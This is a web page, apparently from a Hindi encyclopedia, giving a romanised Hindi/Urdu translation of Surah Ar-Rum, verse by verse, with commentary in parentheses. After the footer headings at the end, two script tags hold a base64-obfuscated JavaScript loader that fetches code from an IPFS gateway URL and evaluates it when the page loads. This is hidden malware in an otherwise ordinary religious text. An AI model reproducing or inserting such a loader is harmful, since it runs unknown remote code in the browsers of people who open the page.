अर-रुम
ar-rum islam dharm ke pavitr granth quran ka 30vaan soora (adhyay) hai jisamean 60 ayatean hoti haian.
30:1- alif lam mim.
30:2- (yahaan se) bahut qarib ke mulk mean romi (nasara ahale faras atish parastoan se) har ge.
30:3- magar ye log anaqarib hi apane har jane ke bad chand saloan mean phir (ahale faras par) galib a jaeange.
30:4- kyoanki (isase) pahale aur bad (garaz har zamane mean) har amr ka ekhteyar khuda hi ko hai aur us din eemanadar log khuda ki madad se khush ho jaeange.
30:5- vah jisaki chahata hai madad karata hai aur vah (sab par) galib raham karane vala hai.
30:6- (ye) khuda ka vayada hai) khuda apane vayade ke khilaph nahian kiya karata magar akasar log nahian janate haian.
30:7- ye log bas duniyavi zindagi ki zahiri halat ko janate haian aur ye log akherat se bilkul gaphil haian.
30:8- kya un logoan ne apane dil mean (itana bhi) gaur nahian kiya ki khuda ne sare asaman aur zamin ko aur jo chije un donoan ke darameyan mean haian bas bilkul thik aur ek muqarrar miyad ke vaste paida kiya hai aur kuchh shak nahian ki bahutere log to apane paravaradigar ki (baragah) ke huzoor mean (qayamat) hi ko kisi tarah nahian manate.
30:9- kya ye log rue zamin par chale phire nahian ki dekhate ki jo log inase pahale guzar ge unaka anjam kaisa (bura) hua hal aauki jo log unase pahale qoovat mean bhi kahian jyada the aur jis qadar zamin un logoan ne abad ki hai usase kahian jyada (zamin ki) un logoan ne kasht bhi ki thi aur usako abad bhi kiya tha aur unake pas bhi unake paigambar vazee v raushan maujize lekar a chuke the (magar un logoan ne n mana) to khuda ne un par koee zulm nahian kiya magar vah log (kuphr v sarakashi se) ap apane oopar zulm karate rahe.
30:10- phir jin logoan ne buraee ki thi unaka anjam bura hi hua kyoanki un logoan ne khuda ki ayatoan ko jhuthalaya tha aur unake sath masakhara pan kiya kie.
30:11- khuda hi ne makhalookat ko pahali bar paida kiya phir vahi dubara (paida karega) phir tum sab log usi ki taraph lautae jaoge.
30:12- aur jis din qayamat barapa hogi (us din) gunehagar log na ummid hokar rah jaeange.
30:13- aur unake (banae hue khuda ke) sharikoan mean se koee unaka sipharishi n hoga aur ye log kh़ud bhi apane sharikoan se inkar kar jaeange.
30:14- aur jis din qayamat barapa hogi us din (mominoan se) kuphfar juda ho jaeange.
30:15- phir jin logoan ne eeman qubool kiya aur achchhe achchhe kam kie to vah bage behasht mean nihal kar die jaeange.
30:16- magar jin logoan ke kuphr ekhteyar kiya aur hamari ayatoan aur akherat ki huzoori ko jhuthalaya to ye log azab mean giraphtar kie jaeange.
30:17- phir jis vakt tum logoan ki sham ho aur jis vakt tumhari subah ho khuda ki pakizagi zahir karo.
30:18- aur sare asaman v zamin mean tisare pahar ko aur jis vakt tum logoan ki dopahar ho jae vahi qabile tarif hai.
30:19- vahi zinda ko murde se nikalata hai aur vahi murde ko jinda se paida karata hai aur zamin ko marane (parati hone) ke bad zinda (abad) karata hai aur isi tarah tum log bhi (marane ke bad nikale jaoge).
30:20- aur us (ki kudarat) ki nishaniyoan mean ye bhi hai ki usane tumako mitti se paida kiya phir yakayak tum adami banakar (zamin par) chalane phirane lage.
30:21- aur usi ki (qudarat) ki nishaniyoan mean se ek ye (bhi) hai ki usane tumhare vaste tumhari hi jins ki biviyaan paida ki taki tum unake sath rahakar chain karo aur tum logoan ke darameyan pyar aur ulafat paida kar di isamean shak nahian ki isamean gaur karane valoan ke vaste (qudarate khuda ki) yaqini bahut si nishaniyaan haian.
30:22- aur us (ki kudarat) ki nishaniyoan mean asamano aur zamin ka paida karana aur tumhari zabano aur rangato ka ekhatelaph bhi hai yakinan isamean vaqiphakaroan ke lie bahut si nishaniyaan haian.
30:23- aur rat aur din ko tumhara sona aur usake phazal v karam (rozi) ki talash karana bhi usaki (qudarat ki) nishaniyoan se hai beshak jo log sunate haian unake lie isamean (qudarate khuda ki) bahut si nishaniyaan haian.
30:24- aur usi ki (qudarat ki) nishaniyoan mean se ek ye bhi hai ki vah tumako darane vala ummid lane ke vaste bijali dikhata hai aur asaman se pani barasata hai aur usake zarie se zamin ko usake parati hone ke bad abad karata hai beshak aklamandoan ke vaste isamean (qudarate khuda ki) bahut si dalilean haian.
30:25- aur usi ki (qudarat ki) nishaniyoan mean se ek ye bhi hai ki asaman aur zamin usake hukm se qayam haian phir (marane ke bad) jis vakt tumako ek bar bulaega to tum sabake sab zamin se (zinda ho hokar) nikal p doge.
30:26- aur jo log asamanoan mean hai sab usi ke hai aur sab usi ke tabee pharaman haian.
30:27- aur vah aisa (qadire muttaliq hai jo makhalookat ko pahali bar paida karata hai phir dobara (qayamat ke din) paida karega aur ye us par bahut asan hai aur sare asaman v jamin sabase balatar usi ki shan hai aur vahi (sab par) galib hikamat vala hai.
30:28- aur hamane (tumhare samajhane ke vaste) tumhari hi ek misal bayan ki hai hamane jo kuchh tumhe ata kiya hai kya usamean tumhari laundi gulamoan mean se koee (bhi) tumhara sharik hai ki (vah aur) tum usamean barabar ho jao (aur kya) tum unase aisa hi khauph rakhate ho jitana tumhean apane logoan ka (haq hissa n dene mean) khauph hota hai phir bandoan ko khuda ka sharik kyoan banate ho) akl mandoan ke vaste ham yooan apani ayatoan ko taphasiladar bayan karate haian.
30:29- magar sarakashoan ne to bagair samajhe boojhe apani naphasiyani khvahishoan ki pairavi kar li (aur khuda ka sharik thahara diya) garaz khuda jise gumarahi mean chho d de (phir) use kaun rahe rast par la sakata hai aur unaka koee madadagar (bhi) nahian.
30:30- to (ai rasool) tum batil se katara ke apana rukh din ki taraph kie raho yahi khuda ki banavat hai jis par usane logoan ko paida kiya hai khuda ki (durust ki huee) banavat mean tagayyur tabaddul (ulat pher) nahian ho sakata yahi mazaboot aur (bilkul sidha) din hai magar bahut se log nahian janate haian.
30:31- usi ki taraph rujoo hokar (khuda ki ibadat karo) aur usi se darate raho aur pabandi se namaz padho aur musharekin se n ho jana.
30:32- jinhoanne apane (asali) din mean taphareqa paravazi ki aur mukhtalif phirake qe ban ge jo (din) jis phirake qe pas hai usi mean nihal hai.
30:33- aur jab logoan ko koee musibat chhoo bhi gayi to usi ki taraph rujoo hokar apane paravaradigar ko pukarane lagate haian phir jab vah apani rahamat ki lajzat chakha deta hai to unhian mean se kuchh log apane paravaradigar ke sath shirk karane lagate haian.
30:34- taki jo (neamat) hamane unhean di hai usaki nashukri karean khair (duniya mean chandaroz chain kar lo) phir to bahut jald (apane kie ka maza) tumhe maloom hi hoga.
30:35- kya hamane un logoan par koee dalil nazil ki hai jo us (ke haq hone) ko bayan karati hai jise ye log khuda ka sharik thaharate haian (haragij nahian).
30:36- aur jab hamane logoan ko (apani rahamat ki lajzat) chakha di to vah usase khush ho ge aur jab unhean apane hathoan ki agali karasataniyo ki badaulat koee musibat pahuanchi to yakabaragi mayoos hokar baithe rahate haian.
30:37- kya un logoan ne (itana bhi) gaur nahian kiya ki khuda hi jisaki rozi chahata hai kushada kar deta hai aur (jisaki chahata hai) tang karata hai-kuchh shak nahian ki isamean eemanaradar logoan ke vaste (kudarat khuda ki) bahut si nishaniyaan haian.
30:38- (to ai rasool apani) qarabatadar (phatima zahara) ka haq phidak de do aur mohataj v paradesiyoan ka (bhi) jo log khuda ki khushanoodi ke khvah aau haian un ke haq mean sab se behatar yahi hai aur aise hi log akherat mean dili murade paeangean.
30:39- aur tum log jo sood dete ho taki logoan ke mal (daulat) mean tarakqi ho to (yad rahe ki aisa mal) khuda ke yah aau phoolata phalata nahi aur tum log jo khuda ki khushanoodi ke irade se zakat dete ho to aise hi log (khuda ki baragah se) doona doon lene vale haian.
30:40- khuda vah (qadir tavana hai) jisane tumako paida kiya phir usi ne rozi di phir vahi tumako mar dalega phir vahi tumako (dobara) zinda karega bhala tumhare (banae hue khuda ke) sharikoan mean se koee bhi aisa hai jo in kamoan mean se kuchh bhi kar sake jise ye log (usaka) sharik banate haian.
30:41- vah usase pak v pakiza aur baratar hai kh़ud logoan hi ke apane hathoan ki karastaniyoan ki badaulat khushk v tar mean phasad phail gaya taki jo kuchh ye log kar chuke haian khuda un ko unamean se baz karatootoan ka maza chakha de taki ye log ab bhi baz aean.
30:42- (ai rasool) tum kah do ki zara rue zamin par chal phirakar dekho to ki jo log usake qabl guzar ge unake (afal) ka aanjam kya hua unamean se bahutere to musharik hi haian.
30:43- to (ai rasool) tum us din ke ane se pahale jo khuda ki taraph se akar rahega (aur) koee use rok nahian sakata apana rukh mazaboot (aur sidhe din ki taraph kie raho us din log (pareshan hokar) alag alag ho jaeangean.
30:44- jo kafir ban baitha us par us ke kuphr ka vabal hai aur jinhone achchhe kam kie vah apane hi asaish ka saman kar rahean hai.
30:45- taki jo log eeman lae aur achchhe achchhe kam kie unako khuda apane phazal v (karam) se achchhi jaza ata karega vah yaqinan kuphfar se ulafat nahian rakhata.
30:46- usi ki (qudarat) ki nishaniyoan mean se ek ye bhi hai ki vah havaoan ko (barish) ki khushakhabari ke vaste (qabl se) bhej diya karata hai aur taki tumhean apani rahamat ki lajzat chakhae aur isalie bhi ki (isaki badaulat) kashtiyaan usake hukm se chal kh di ho aur taki tum usake phazal v karam se (apani rozi) ki talash karo aur isalie bhi taki tum shukr karo.
30:47- au (ai rasool) hamane tumase pahale aur bhi bahut se paigambar unaki qaumoan ke pas bheje to vah paigambar vazee v raushan lekar ae (magar un logoan ne n mana) to un mujarimoan se hamane (khoob) badala liya aur ham par to mominin ki madad karana lazim tha hi.
30:48- khuda hi (qadir tavana) hai jo havaoan ko bhejata hai to vah badaloan ko u dae u dae phirati haian phir vahi khuda badal ko jis tarah chahata hai asaman mean phaila deta hai aur (kabhi) usako tuk de (tuk de) kar deta hai phir tum dekhate ho ki booandiyaan usake daramiyan se nikal p dati haian phir jab khuda unhean apane bandoan mean se jis par chahata hai barasa deta hai to vah log khushiyaan maanane lagate haian.
30:49- agarache ye log un par (barane rahamat) nazil hone se pahale (barish se) shuru hi se bilkul mayoos (aur mazaboor) the.
30:50- garaz khuda ki rahamat ke asar ki taraph dekho to ki vah kyoankar zamin ko usaki parati hone ke bad abad karata hai beshak yaqini vahi murdo ko zinda karane vala aur vahi har chiz par qadir hai.
30:51- aur agar ham (kheti ki nukasan deh) hava bhejean phir log kheti ko (usi hava ki vajah se) zard (paras murda) dekhean to vah log isake bad (phauran) nashukri karane lagean.
30:52- (ai rasool) tum to (apani) avaz n murdo hi ko suna sakate ho aur n baharoan ko suna sakate ho (khusoosan) jab vah pith pherakar chale jaean.
30:53- aur n tum aandhoan ko unaki gumarahi se (pherakar) rah par la sakate ho to tum to bas unhian logoan ko suna (samajha) sakate ho jo hamari ayatoan ko dil se manean phir yahi log islam lane vale haian.
30:54- khuda hi to hai jisane tumhean (ek nihayat) kamazor chiz (nutphe) se paida kiya phir usi ne (tum mean) bachapane ki kamazori ke bad (shabab ki) qoovat ata ki phir usi ne (tumamean javani ki) qoovat ke bad kamazori aur budhapa paida kar diya vah jo chahata paida karata hai-aur vahi b da vakiphakar aur (har chiz par) qaboo rakhata hai.
30:55- aur jis din qayamat barapa hogi to gunahagar log kasamean khaeangean ki vah (duniya mean) gh di bhar se jyada nahian thahare yooan hi log (duniya mean bhi) ifatera paradaziyaan karate rahe.
30:56- aur jin logoan ko (khuda ki baragah se) ilm aur eeman diya gaya hai javab degean ki (hae) tum to khuda ki kitab ke mutabiq़ roze qayamat tak (barabar) thahare rahe phir ye to qayamat ka hi din hai magar tum log to usaka yaqin hi n rakhate the.
30:57- to us din sarakash logoan ko n unaki ujr maazerat kuchh kam aegi aur n unaki sunavaee hogi.
30:58- aur hamane to is quran mean (logoan ke samajhane ko) har tarah ki misal bayan kar di aur agar tum unake pas koee sa maujiza le ao.
30:59- to bhi yaqinan kuphfar yahi bol utheange ki tum log nire dagabaz ho jo log samajh (aur ilm) nahian rakhate unake diloan par nazar karake khuda yoo tasadiq karata hai (ki ye eeman n laeange).
30:60- to (ai rasool) tum sabr karo beshak khuda ka vayada sachcha hai aur (kahian) aisa n ho ki jo (tumhari) tasadiq nahian karate tumhean (bahaka kar) khafif kare dean.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>